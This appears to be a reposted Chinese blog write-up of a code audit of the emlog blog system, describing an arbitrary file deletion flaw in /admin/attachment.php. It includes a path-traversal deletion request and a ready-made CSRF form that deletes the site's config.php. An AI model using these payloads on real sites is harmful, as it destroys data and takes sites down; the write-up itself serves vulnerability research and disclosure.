最近某漏洞平台出了一个活动……挖来挖去都没有办法搞到啥代码执行都漏洞,不服~(每天烦躁的很)
然后想了下emlog这个博客系统,以前也挖过什么漏洞,再去把源码下载下来试一试吧!结果发现这套系统的开发好像跑路了?14年就没有更新源码了。。
算了,当我倒霉。把漏洞发出来,分享下吧!
首先拿到源码后我们需要看一下大致的目录以及它每一个文件都是干什么用的(dz之类的这种cms都有二次开发手册)
粗略阅读之后……我压根看不懂啊!此时此刻的心情是:
然后使用了下Seay源代码审计系统这个工具(在win上)
全局搜索了下unlink,这个函数是用来定义文件删除的,算得上是危险函数吧。
然后把这些文件的跟路径都记着,一个个看!
在第一个/admin/attachment.php文件上就发现了问题
行168-179
//微语图片删除
if ($action == 'del_tw_img') {
$filepath = isset($_GET['filepath']) ? $_GET['filepath'] : ''; if ($filepath && file_exists($filepath)) {
$fpath = str_replace('thum-', '', $filepath); if ($fpath != $filepath) { @unlink($fpath) or false; } @unlink($filepath) or false; } exit; }
写到微语图片删除这个功能,然后看到行174和176,只是说明了删除文件的时候加上跟路径,并没有对路径可控!所以我们来进行测试下
在微语这个功能上传了图片之后按取消
然后得到数据包是以get形式进行请求的:
/emlog//admin/attachment.php?action=del_tw_img&filepath=../content/uploadfile/201708/0af61503976770.jpg
那么我们把文件改一下
然后文件duang的一下就不见了!
后面测试发现,其实这个漏洞以作者权限也可以进行删除!
同时该漏洞没有token等验证,直接构造出csrf的poc:
<html> <body> <form action="http://a.com//admin/attachment.php"> <input type="hidden" name="action" value="del_tw_img" /> <input type="hidden" name="filepath" value="../config.php" /> <input type="submit" value="Submit request" /> </form> </body></html>
好了,一上午就这样过完了……不说了。我先下班,下午再聊!
以上小姐姐所述
我司一概不负责
本文始发于微信公众号(逢人斗智斗勇):一次简单的代码审计
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论